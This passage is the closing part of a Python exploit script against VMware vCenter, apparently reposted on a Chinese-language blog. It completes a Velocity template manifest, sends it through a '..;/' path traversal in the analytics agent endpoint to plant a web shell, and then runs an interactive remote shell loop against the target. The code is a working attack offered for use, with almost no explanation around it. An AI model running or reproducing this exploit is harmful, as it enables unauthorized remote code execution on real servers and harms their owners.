                        #set($objectId = "vim.ServiceInstance:$modelKey.value:$modelKey.serverGuid")##
                        #set($obj = $LOCAL-cdf20Result.newObject("vim.ServiceInstance", $objectId))##
                        $obj.addProperty("OSTYPE", "VMware can't steal this PoC")##
                        $obj.addProperty("BUILD", $content-about-build)##
                        $obj.addProperty("VERSION", $content-about-version)##]]>
                     </mappingCode>
                     </resourceItemToJsonLdMapping>
                  </value>
               </value>
            </entry>
         </resultSetMappings>
      </indepedentResultsMapping>
   </cdfMapping>
   <requestSchedules>
      <schedule interval="1h">
         <queries>
            <query>vir:VCenter</query>
         </queries>
      </schedule>
   </requestSchedules>
</manifest>""" % (shell_name, pwd, pwd)

target = sys.argv[1]
print "Target: "+ target
print "Creating Agent (of SHIELD) ..."
createAgent(target, agent_name)
print "Collecting Agent (of SHIELD) ..."
burp0_url = target+"/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?action=collect&_c="+agent_name+"&_i=test2"
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0", "X-Deployment-Secret": "abc", "Content-Type": "application/json", "Connection": "close"}
burp0_json={"contextData": "a3", "manifestContent": manifestData, "objectId": "a2"}
requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False, proxies={"https":"http://127.0.0.1:8080"})
print "Success!"
print "Shell: " + target+"/idm/..;/"+shell_name
print "Pwd: "+ pwd
print "Launching pseudo shell ..."
while True:
    cmd = raw_input("/remote_shell/# ").strip()
    if(cmd =="quit"):
        sys.exit(-1)
    output = run_shell(target+"/idm/..;/"+shell_name,pwd, cmd)
    time.sleep(1)
    print(output)

poc详情:

gist.github.com/testanull

转载请注明出处及链接

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用*标注